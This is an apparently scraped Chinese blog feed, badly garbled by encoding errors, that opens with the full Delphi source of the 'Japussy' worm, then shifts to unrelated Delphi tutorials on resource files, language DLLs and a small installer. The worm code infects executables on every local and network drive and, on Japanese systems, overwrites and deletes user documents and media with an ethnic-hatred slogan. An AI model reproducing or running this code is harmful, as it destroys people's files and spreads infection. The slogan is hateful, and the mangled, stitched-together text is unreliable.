??xml version="1.0" encoding="utf-8" standalone="yes"?>
q样的代?何以有如此大的动???是我们的防毒意识太差???q是杀毒程序太???
if IsJap then //是倭文操作pȝ ...SmashFile(Fn); //摧毁文g q点写得比较ql济.
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
开头就包含一堆大东西,看来作者是q个斚w??学?
熊猫烧香 - 核心源码
--------------------------------------------------------------------------------
僅供研究使用!後果自行負K
代码:--------------------------------------------------------------------------------
E序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文gd标的偏移?nbsp;
//在我的Delphi5 SP1上面~译得到的大,其它版本的Delphi可能不同
//查找2800000020的十六进制字W串可以扑ֈd标的偏移?nbsp;
{
HeaderSize = 38912; //Upx压羃q病毒体的大?nbsp;
IconOffset = $92BC; //Upx压羃qPE文gd标的偏移?nbsp;
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文gd标的大小--744字节
IconTail = IconOffset + IconSize; //PE文gd标的N
ID = $44444444; //感染标记
//我非常爱你码Q以备写?nbsp;
Catchword = $1$If a race need to be killed out, it must be Yamato. $1$ +
$1$If a country need to be destroyed, it must be Japan! $1$ +
$1$*** W32.Japussy.Worm.A ***$1$;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external $1$Kernel32.dll$1$; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作pȝ标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 宿L件从已感染的PE文g中分d来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跌头部的病毒部?nbsp;
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFOl构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮?nbsp;}
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文g }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用Q退?nbsp;
if CompareText(FileName, $1$JAPUSSY.EXE$1$) = 0 then //是自己则不感?nbsp;
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //查PE文g?nbsp;
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文g
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //查感染标?nbsp;
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染q了或不是PE文g则退?nbsp;
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的d?744字节)Q存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文?nbsp;
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数?nbsp;
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前E序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体N之间的数?nbsp;
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主E序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文g
DstStream.Free;
end;
except;
end;
end;
{ 目标文件写入我非常׃码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //L只读属?nbsp;
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文g
try
Size := GetFileSize(FileHandle, nil); //文g大小
i := 0;
Randomize;
Max := Random(15); //写入我非常爱你码的随机次?nbsp;
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入我非常爱你码Q将文gd破坏?nbsp;
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文g
end;
DeleteFile(PChar(FileName)); //删除?nbsp;
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字?nbsp;
begin
D := Chr(i + 65);
Str := D + $1$:$1$;
DiskType := GetDriveType(PChar(Str));
//得到本地盘和网l盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录Q感染和摧毁文g }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> $1$.$1$) and
(SearchRec.Name <> $1$..$1$) then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> $1$.$1$) and
(SearchRec.Name <> $1$..$1$) then
Result := 1 //不是根目?nbsp;
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列Q避免引h?nbsp;
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = $1$.EXE$1$) or (Ext = $1$.SCR$1$) then
begin
InfectOneFile(Fn); //感染可执行文?nbsp;
end
else if (Ext = $1$.HTM$1$) or (Ext = $1$.HTML$1$) or (Ext = $1$.ASP$1$) then
begin
//感染HTML和ASP文gQ将Base64~码后的病毒写入
//感染览此网늚所有用?nbsp;
//哪位大兄弟愿意完成之Q?nbsp;
end
else if Ext = $1$.WAB$1$ then //Outlook地址文?nbsp;
begin
//获取Outlook邮g地址
end
else if Ext = $1$.ADC$1$ then //Foxmail地址自动完成文g
begin
//获取Foxmail邮g地址
end
else if Ext = $1$IND$1$ then //Foxmail地址文?nbsp;
begin
//获取Foxmail邮g地址
end
else
begin
if IsJap then //是倭文操作pȝ
begin
if (Ext = $1$.DOC$1$) or (Ext = $1$.XLS$1$) or (Ext = $1$.MDB$1$) or
(Ext = $1$.MP3$1$) or (Ext = $1$.RM$1$) or (Ext = $1$.RA$1$) or
(Ext = $1$.WMA$1$) or (Ext = $1$.ZIP$1$) or (Ext = $1$.RAR$1$) or
(Ext = $1$.MPEG$1$) or (Ext = $1$.ASF$1$) or (Ext = $1$.JPG$1$) or
(Ext = $1$.JPEG$1$) or (Ext = $1$.GIF$1$) or (Ext = $1$.SWF$1$) or
(Ext = $1$.PDF$1$) or (Ext = $1$.CHM$1$) or (Ext = $1$.AVI$1$) then
SmashFile(Fn); //摧毁文g
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒Q避免CPU占用率过高引h?nbsp;
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + $1$*.*$1$, faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + $1$$1$, Mask);
FreeAndNil(SubDir);
end;
{ 遍历盘上所有的文g }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作pȝ
IsJap := True; //L吧!
DriverList := GetDrives; //得到可写的磁盘列?nbsp;
Len := Length(DriverList);
while True do //d@?nbsp;
begin
for i := Len downto 1 do //遍历每个盘驱动?nbsp;
LoopFiles(DriverList + $1$:$1$, $1$*.*$1$); //感染?nbsp;
SendMail; //发带毒邮?nbsp;
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ ȝ序开?nbsp;}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进E?nbsp;
else //WinNT
begin
//q程U程映射到Explorerq程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), $1$Japussy.exe$1$) = 0 then
InfectFiles //感染和发邮g
else //已寄生于宿主E序上了Q开始工?nbsp;
begin
TmpFile := ParamStr(0); //创徏临时文g
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + $1$.exe$1$; //真正的宿LӞ多一个空?nbsp;
ExtractFile(TmpFile); //分离?nbsp;
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, $1$.$1$, Si, Pi); //创徏新进E运行之
InfectFiles; //感染和发邮g
end;
end.
]]>
h果的文g来?br> 资源文g最大的好处是能一些在必要时才调用的文件跟可执行文件一L译,生成一个文件。这样做最?br>的好处就是外部文g免遭破坏。例如在一个程序中你要临时调用一q图片,一般作法是把图片放在某一路径?br>Q通常是主E序所在\径),但如果用戯\径误删你的图片文件则可能使程序找不到相应文g而出错崩溃。另外,
如果你想自己的程序界面美观,想用一些自定义光标Q也要用到资源文件?br> 资源文g的用步骤ؓQ?br> 1.~写rc脚本文本
用记事本或其它文本编辑器~写一个扩展名为rc的文件。例如:
mycur cursor move.cur //加入光标
mypic Bitmap Water.BMP //加入位图
mywav WAVE happy.wav //加入声音
myAVI AVI EPOEN.AVI //加入视频
myIco ICON CJT.ICO //加入图标
格式分别为在资源文g中的名称->cd->实际文g名称Q例如上面第一行定义一个名为mycur的光标,实际?br>UCؓ加入光标move.cur?br> 2.rc文g~译成res资源文g
脚本文件和实际文g拷到Brcc32.EXE所在目录,执行DOS命o。格式ؓQBrcc32 脚本文g(回R)Q例如有
一名ؓmyfirst.rc的脚本文Ӟ则执行Brcc32 myfirst.rc(回R)卛_。如果你是懒人,也可新徏一批处理文Ӟ
内容只有一行:Brcc32 mufist.rc?因ؓDelphi安装后一般会在自动批处理文g中指明搜索\径的)如果~译?br>功,则会生成一个结ؓres的文Ӟq个文g是我们需要的资源文g?br> 3.在Delphi单元中加入资源文?br> 生成的res资源文g拯C所~程序的路径下,在单元文件{$R *DFM}后加上一句{$R mufirst.res}Q则
res文g加入去,~译后资源文件即已包含在可执行文件中了。若你有多个资源文gQ也按上法依ơ加入?br> 4.在DelphiE序中调用资源文?br> 资源文g在Delphi中的关键字ؓhinstanceQ下面给出具体用法?br> <1>光标的调?br> 首先在程序中定义一个值大?的常量,因ؓDelphi本n?到负16来烦引默认的光标Q所以我们制定的光标
应从表面?开始烦引。然后在H口的Oncreat事g中添加以下代码:screen.cursor[35]:=Loadcursor
(hinstance,'mycur');其中35为大?的常量,mycur为光标在资源文g中的名字。如果希望在其他控g上用定?br>光标Q例如Panel控gQ只需在程序的适当处加入以下代码:Panel1.cursor:=35;
<2>位图的调?br> 新徏一工E,d一Timage控gQ在需要显C的地方写以下代码(其中"mypic"Z图资源文件中的名
UͼQ?br> Var mymap:Hbitmap;
begin
mymap:=LoadBitmap(hinstance,'mypic');
Image1.picture.Bitmap.Handle:=mymapQ?br> end;
?〉AVI文g的调?br> 新徏一工程Q添加一Animate控gQ在需要的地方加入Q其中myAVI频文件在资源文g中的名称Q:
animater1.resname:='myAVI';
animater1.Active:=true;
?〉调用WAV文g
在uses中加入mmsystm单元Q以便在E序中播放WAV文g。播放时Playsound(pchar
('mywav'),hinstance,sndsync or snd_resource);其中mywav为声x件在资源中的名称?br> ?〉加入光?br> 加入光标比较ҎQ只要将res文g加入单元文g中即可。但需注意,名称最好取"W"."WW"{,使第一个字?br>量靠后Q以免与ȝ序的图标序颠倒。这样一来,别h在用你的程序时如果想选择其它图标有很多选择
了?br> 补充Q?br> 1.资源cd除上q类型外Q还可以字体文gQ字W串文g{;
2.资源文g不但可以在标准图形界面下使用q可在控制台下用。下面我们来试验一下:新徏一工程Q将?br>一的一个Form删除Q然后修改工E文件。增加一句{$Apptype console},在uses子句中加入mmsystem,q将其它引用
单元删掉。将Begin和end之间语句删掉。至此,我们可和Turbo PASCAL下编E序一P且还可以调用windows?br>API和资源。将资源文g----{$R myfist.res}加入。在Begin和end之间写下Q?br> writeln('演示E序Q按L键开始!');
readln;
playsound(pchar('mywav'),hinstance,snd_sync or snd_resource);
writeln('演示l束Q?);
q行E序Q将弹出一个标准DOSH口Q按L键播攑֣x件。是不是很COOL呢?我曾下蝲q一个播攑֙Q在
其安装目录下我发现有一“DOSE序”Q用鼠标双击它便弹出一个DOSH口Q显CDOS时代Ҏ的画图,q有背景?br>乐!可能是用这个方法做的?br> 3.Delphi本n自带了一个叫Image Editor的工P同样可以~辑资源文本Q但和本文的Ҏ比较Q可得出?br>表:
Image Editor Brcc32
BMP 只支?6位色 L?br> 光标 黑白两色 L?br> ICO 只支?6位色 L?br> AVI 不支?支持
WAV 不支?支持
字体 不支?支持
字符?不支?支持
上面说的是直接在E序本n的调用。其实资源文件还有其它用法。比如说在你的程序携带其它文Ӟ要用?br>时候释攑և来。例如:myexe exefile 'ha1.exe'//脚本文g
下面是自定义释放函数ExtractResQ本例中使用如下QExtractRes('exefile','myexe','c:new.exe');把
ha1.exe以new.exe为名字保存到C盘根目录下了?br> function TForm1.ExtractRes(ResType, ResName, ResNewName: string): boolean;
var
Res: TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
二、中U应用篇:
上面我们已经知道如何把一副BMP囑փ从资源文仉面读出来Q但是BMP文g太大了,JPG文g应用的相对较
多。那么如何把JPG囑փd来呢Q用资源文g加流方式卛_。具体方法如?
(1)MyJpg JPEG My.JPG
(2)Var
Stream:TStream;
MyJpg:TJpegImage;
Begin
StreamQ=TResourceStream.Cceat(HINSTANCE,'MyJpg','JPEG');
Try
MyJpg:=TJpegImage.Create;
Try
MyJpg.LoadfromStream(Stream);
Image1.Picture.Assignc(MyJpg);
Finally
MyJpg.Free;
end;
Finally
Stream.Free;
end;
end;
d其它囄文g也是一L。比如说gif动画文gQ当然前提是你有一个gif.pasQ这个单元很多站炚w?br>的,可以自己L找。实际应用中我还发现用上面的代码可以直接昄资源文g中的ICON和BMP?br> 说到囑Ş处理Q实际上q可以用Delphi创徏、调用纯图标资源的DLL。比如说你可以看看超U解霸目录下?br>Dll,很多是U图标资源而已。具体方法如下:
(1)创徏一个Hicon.RES文g,q里不再重复Q?br> (2)新徏一文本文gIcon.dpr,内容如下Q?br> library Icon;
{$R Icon.RES}
begin
end.
用Delphi打开~译卛_得到Icon.dll?br> (3)实际调用Ҏ如下:
......
Private
Hinst:THANDLE;
......
Var Hicon:THANDLE;
begin
Hinst:=Loadlibrary('Icon.dll');
If Hinst=0 Then ExitQ?br> Hicon:=Loadicon(Hinst,Pchar(Edit1.Text));
If Hicon<>0 Then Image1.Picture.Icon.Handle:=Hicon;
FreeLibrary(Hinst);
end;
如果你的E序惛_国际上供使用不同语言的h使用的话Q用Dll来存攑֭W资源将是一个好Ҏ。因为Dll?br>象ini文g那样可以被h随便修改Q特别是有时侯如果想保存一些版权信息的话用Dll再好不q了。比如说你准?br>开发一?#8220;汉字J体译?#8221;软gQ准备提供Gb32、Big5码和英文三种语言菜单l用P那么你可以试试用Dll
来保存字W资源?br> 我们需要徏立三个Dll。第一步当然是写Rc文gQDGb32码ؓ例,内容如下Q?br> /*MySc.rc*/
#define IDS_MainForm_Caption 1
#define IDS_BtnOpen_Caption 2
#define IDS_BtnSave_Caption 3
#define IDS_BtnBig5_Caption 4
#define IDS_BtnGb32_Caption 5
#define IDS_BtnHelp_Caption 6
#define IDS_Help_Shelp 7
Stringtable
{
IDS_MainForm_Caption,"汉字J体译?
IDS_BtnOpen_Caption,"打开文g"
IDS_BtnSave_Caption,"保存文g"
IDS_BtnBig5_Caption,"转换成Big5"
IDS_BtnGb32_Caption,"转换成Gb32"
IDS_BtnHelp_Caption,"帮助"
IDS_Help_Shelp,"输入文字或打开文g后按需要点L钮即可{?"
}
另外两个Dll用同LҎ生成?br> W二步是Brcc32~译为Res文g后用上面的方法得到Dll文g。下面来应用一下:新徏一个工E,放上五个
ButtonQBtnOpen、BtnSave、BtnBig5、BtnGb32和BtnHelpQ还有一个TComboBox:CbSelect用来选择语言U类的?br>具体代码如下Q?br> unit Unit1;
interface
......
private
SHelp: string;
function SearchLanguagePack: TStrings;
procedure SetActiveLanguage(LanguageName: string);
{ Private declarations }
......
implementation
procedure TForm1.CbSelectChange(Sender: TObject);
begin
SetActiveLanguage(CbSelect.Text);//调用相应Dll文gd相应字符.
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
CbSelect.Items.AddStrings(SearchLanguagePack);//搜烦当前目录下所有的Dll文g名称
end;
function TForm1.SearchLanguagePack: TStrings;
var
ResultStrings: TStrings;
DosError: integer;
SearchRec: TsearchRec;
begin
ResultStrings := TStringList.Create;
DosError := FindFirst(ExtractFilePath(ParamStr(0)) + '*.dll', faAnyFile, SearchRec);
while DosError = 0 do
begin
ResultStrings.Add(ChangeFileExt(SearchRec.Name, ''));
DosError := FindNext(SearchRec);
end;
FindClose(SearchRec);
Result := ResultStrings;
end;
procedure TForm1.SetActiveLanguage(LanguageName: string);
var
Hdll: Hmodule;
MyChar: array[0..254] of char;
DllFileName: string;
begin
DllFileName := ExtractFilePath(ParamStr(0)) + LanguageName + '.dll';
if not FileExists(DllFileName) then Exit;
Hdll := loadlibrary(Pchar(DllFileName));
Loadstring(hdll, 1, MyChar, 254);
Self.Caption := MyChar;
//d字符资源Q?表示资源文g中定义的1
Loadstring(hdll, 1, MyChar, 254);
Self.Caption := MyChar;
Loadstring(hdll, 2, MyChar, 254);
BtnOpen.Caption := MyChar;
Loadstring(hdll, 3, MyChar, 254);
BtnSave.Caption := MyChar;
Loadstring(hdll, 4, MyChar, 254);
BtnBig5.Caption := MyChar;
Loadstring(hdll, 5, MyChar, 254);
BtnGb32.Caption := MyChar;
Loadstring(hdll, 6, MyChar, 254);
BtnHelp.Caption := MyChar;
Loadstring(hdll, 7, MyChar, 254);
SHelp := MyChar;
Freelibrary(hdll);
Application.Title := Self.Caption;
BtnOpen.Visible := True;
BtnSave.Visible := True;
BtnBig5.Visible := True;
BtnGb32.Visible := True;
BtnHelp.Visible := True;
end;
procedure TForm1.BtnHelpClick(Sender: TObject);
begin
Application.MessageBox(Pchar(SHelp), 'Http://lovejingtao.126.com', MB_ICONINFORMATION);
end;
end.
可能你会_q种Ҏq不如我自己在程序中直接定义三种具体的值来的方ѝ甚x自己自定义一个结?br>好了Q用不着用DLL那么ȝ的。但是如果你的程序要用的字符很多呢?比如说Windows操作pȝQ本w就有简体中
文、繁体中文、英文等版本Q用Dll的话只要直接替换DLL卛_Q而不用每发行一个版本就打开代码来修改一ơ。这
样一来可以大大减工作量和出错的Z?br> 说到q里Q再多说一句:Windowspȝ本n很多Dll带有了图片等资源Q我们可以在E序中直接调?q样一?br>我们的EXE也可以减不!当然最的Ҏ是实时生成技术。老外曄写了一?7KB的程序就是利用了q个?br>?
Delphi是个很有效率的开发工P但是它有一个缺点就是生成的EXE文g太大。一个程序就只有一个空H口
体积也有286KB。如果直接用API来写的话E序体积是小了,但是又太J琐Q无法立即看到界面效果,Ҏ谈不上是
可视化开发。其实ƈ?#8220;g熊掌不可兼得”Q利用资源文件我们就可以L辑ֈq个目的?br> 在开始之前,我们需要一个可以编辑资源文件的工具。这cd具很多,比如说Resource WorkShop是非常?br>的一个。如果一时找不到Q利用VC的编辑器来也是可以的。下面我们就以VC的ؓ例示范如何创Z个窗口资源文
件?br> q行VCQ打开菜单“File/New”Q将出现一个多w择c我们选择“Files/Resource Template”Q在双
的File填上DemoQLocation选择保存路径Q然后点L钮OKq回VC开发环境?br> 选择菜单“Insert/Resource”,出C个资源类型选择框。我们把鼠标UdDialog上面Q不用展开Q点?br>双的New卛_Q这时候返回VC开发环境ƈ出现一个只有关闭按钮和两个Button的窗体。将鼠标选定H体Q击右键
选择最后一PropertiesQ将出现一个设|窗口,ID改ؓ“MAINFORM”(注意Q跟下面d的其它控件的属性设
|方法不同,ȝ口的ID必须把双引号写上去,而且名称必须为大写。否则程序将找不到资源。程序会一q行退
Z。)Caption改ؓ“安装E序”Q这时候可以立ȝ到窗口的标题变成?#8220;安装E序”Q把Styles的Minimize
box选上QMore Styles的Center勾上使程序运行时的位|居中。当然你也可以设|它的坐标,其它保留默认值即
可。回到开发环境,在控件框里面分别选择一个Static TextQ一个Edit BoxQ一个Button和一个Group Boxd?br>H体上面Q把它们按照自己的爱好排列整齐,然后逐个修改它们的属性。方法就是按照上面说的选定控g后击右键
选择最后一PropertiesQ在出现的属性框里面修改。其中属性如下:Group Box的Caption属性清I,Static
Text的Caption属性改?#8220;请选择安装目录Q?#8221;QEdit Box的ID改ؓ10001Q第一个Button的ID?0002QCaption?br>性ؓ“选择”Q第二个Button的ID?0003QCaption属性ؓ“安装”Q第三个Button的ID?0004QCaption属性ؓ
“退?#8221;?br> Z使程序更加完,我们为它再添加一个菜单IDR_MENU1。选择“Insert/Resource/Menu”,我们q里只简
单添加一?#8220;文g/退?#8221;Q其?#8220;退?#8221;的ID?0005。然后在ȝ口的属性Menu讑֮为IDR_MENU1卛_?br> Z使程序更加美观,我们再添加一个小图标Q同时这也将是我们程序的图标。选择
“Insert/Resource/Iconv/Import”Q选择一个图标文Ӟq将它的ID讄?MAINICON"(注意Q必L双引号写
上而且字母为大?QؓH口d一个Picture控gq设|它的属性Type:IconQImage下拉选择刚才的图标MainIcon
卛_?br> 如果你想为程序在鼠标d一些信息也是可以的。选择“Insert/Resource/Version”卛_。到q里我们已经
完成了一个简单的“安装E序”的窗体设计,实际上我们现在就可以在Delphi中调用它了。我们先?#8220;力_成果”
保存hQ选择“File/Save As”Q在文gcd里选择“32-bit Resource File(.res)”保存?#8220;Demo.res”,?br>件大大Uؓ2.65KB?br> 新徏一个扩展名为dpr的文本文件MyDemo.DprQ键入如下代码:
Uses Windows,Messages;
{$R Demo.Res}
function MainDialogProc(
DlgWin: hWnd;
DlgMessage: UINT;
DlgWParam: WPARAM;
DlgLParam: LPARAM
)
: integer; stdcall;
begin
Result := 0;
case DlgMessage of
WM_Close:
begin
PostQuitMessage(0);
Exit;
end;
end;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
用Delphi打开它编译一ơ即可生一个大ؓ19KB的EXE。是不是很小Q!实际上,你甚臛_用一行代码就?br>它Show出来Q不q程序无法关闭而已Q?br> Uses Windows;
{$R Demo.Res}
function MainDialogProc: integer;
begin
Result := 0;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
上面的程序只不过是一个空H口而已,现在我们来写代码响应按下相应按钮响应的事件。完整代码如?
program MyDemo;
uses Windows, Messages, shlobj;
const
ID_Edit = 10001;
ID_Selet = 10002;
ID_Setup = 10003;
ID_Quit = 10004;
ID_Exit = 10005;
{$R Demo.Res}
var
MainWin: HWND;
function My_Gettext: string;
var
Textlength: Integer;
Text: PChar;
s: string;
begin
TextLength := GetWindowTextLength(GetDlgItem(MainWin, ID_Edit));
GetMem(Text, TextLength + 1);
GetWindowText(GetDlgItem(MainWin, ID_Edit), Text, TextLength + 1);
s := text;
FreeMem(Text, TextLength + 1);
Result := s;
end;
function Getmyname: string;
var
i, j: integer;
begin
J := 3;
for i := 1 to length(ParamStr(0)) do
if ParamStr(0)[i] = '' then J := I;
Result := copy(ParamStr(0), J + 1, length(ParamStr(0)) - J);
end;
function SelectDirectory(handle: hwnd; const Caption: string; const Root: WideString; out
Directory: string): Boolean;
var
lpbi: _browseinfo;
buf: array[0..MAX_PATH] of char;
id: ishellfolder;
eaten, att: cardinal;
rt: pitemidlist;
initdir: pwidechar;
begin
result := false;
lpbi.hwndOwner := handle;
lpbi.lpfn := nil;
lpbi.lpszTitle := pchar(caption);
lpbi.ulFlags := BIF_RETURNONLYFSDIRS + BIF_EDITBOX;
SHGetDesktopFolder(id);
initdir := pwchar(root);
id.ParseDisplayName(0, nil, initdir, eaten, rt, att);
lpbi.pidlRoot := rt;
getmem(lpbi.pszDisplayName, MAX_PATH);
try
result := shgetpathfromidlist(shbrowseforfolder(lpbi), buf);
except
freemem(lpbi.pszDisplayName);
end;
if result then
begin
directory := buf;
if length(directory) <> 3 then directory := directory + '';
end;
end;
function MainDialogProc(
DlgWin: hWnd;
DlgMessage: UINT;
DlgWParam: WPARAM;
DlgLParam: LPARAM
)
: integer; stdcall;
var
MyIcon: HICON;
Sdir: string;
begin
Result := 0;
case DlgMessage of
WM_INITDIALOG:
begin
MyIcon := LoadIcon(hInstance, 'MainIcon');
SetClassLONG(DlgWin, GCL_HICON, MyIcon);
MainWin := DlgWin;
end;
WM_Close:
begin
PostQuitMessage(0);
Exit;
end;
WM_COMMAND:
case LOWORD(DlgWParam) of
ID_Selet:
begin
if SelectDirectory(DlgWin, '请选择安装目录', '', Sdir)
then SendMessage(GetDlgItem(DlgWin, ID_Edit), WM_SETTEXT, 0, lParam(pChar
(Sdir)));
end;
ID_Setup:
begin
if My_Gettext = '' then
begin
MessageBox(DlgWin, '请先选择安装文g?', '信息', MB_ICONINFORMATION + MB_OK);
Exit;
end;
CopyFile(pchar(ParamStr(0)), pchar(My_Gettext + Getmyname), false);
MessageBox(DlgWin, '安装完毕!', '信息', MB_ICONINFORMATION + MB_OK);
PostQuitMessage(0);
Exit;
end;
ID_Quit:
begin
PostQuitMessage(0);
EXIT;
end;
ID_Exit:
begin
if MessageBox(DlgWin, '你点M菜单“退?#8221;Q你定退出程序吗?', '信息',
MB_ICONQUESTION + MB_OKCANCEL) = IDOK then
PostQuitMessage(0);
Exit;
end;
end;
end;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
]]>
function readSource(loadFile:PChar;var str:string):Boolean;
var
hres:THandle;
hexe:THandle;
hload:THandle;
pCResLock:PChar;
begin
Result:=True;
hexe:=LoadLibrary(loadFile);
if hexe=0 then
Result:=False;
hres:= FindResource(hExe, 'Config', RT_RCDATA);
if hres=0 then
Result:=False;
hload:=LoadResource(hexe,hres);
if hload=0 then
Result:=False;
pCResLock:=LockResource(hload);
FreeLibrary(hexe);
str:=string(pCResLock);
ShowMessage(pCResLock);
end;
function updateSource(loadFile:PChar;str:string)Boolean;
var
hUpdateRes :THandle;
begin
Result:=True;
hUpdateRes:=BeginUpdateResource(loadFile,False);
Result:=UpdateResource(hUpdateRes,
RT_RCDATA,
PChar('Config'),
MakeWord(LANG_NEUTRAL, SUBLANG_NEUTRAL) ,
PChar(str),
Length(str)
);
if Result=True then
EndUpdateResource(hUpdateRes, FALSE);
end;
q些天相信大安在忙着下蝲Delphi 2007吧,我也在第一旉从BT上下载了|上出的专业版Q但在今天发现官方Z企业版的30天测试版下蝲Qؓ了追求完从下午开始对企业版分析,分析l果如下Q?br>
一、关于官方的版本
官方下蝲的只是个EXE文gQ下载后认和专业版内的setup.exe是同一文gQ其它文件和专业版一P已经和官方下载的比对q了Q这里和M$的Vista一P是用序列来确定是什么版本的Q?img class=img onmousewheel="return bbimg(this)" onclick=window.open(this.src); alt=点击在新H口中打开囄 src="http://blog.suolei.com/images/emot/grin.gif" onload=resizepic(this) border=0>0a98a3729f236dd98d5fb3b0a289af63 Setup.exe
0a98a3729f236dd98d5fb3b0a289af63 DELPHI07TRIALSETUP.EXE 此ؓ官方下蝲的文?br>
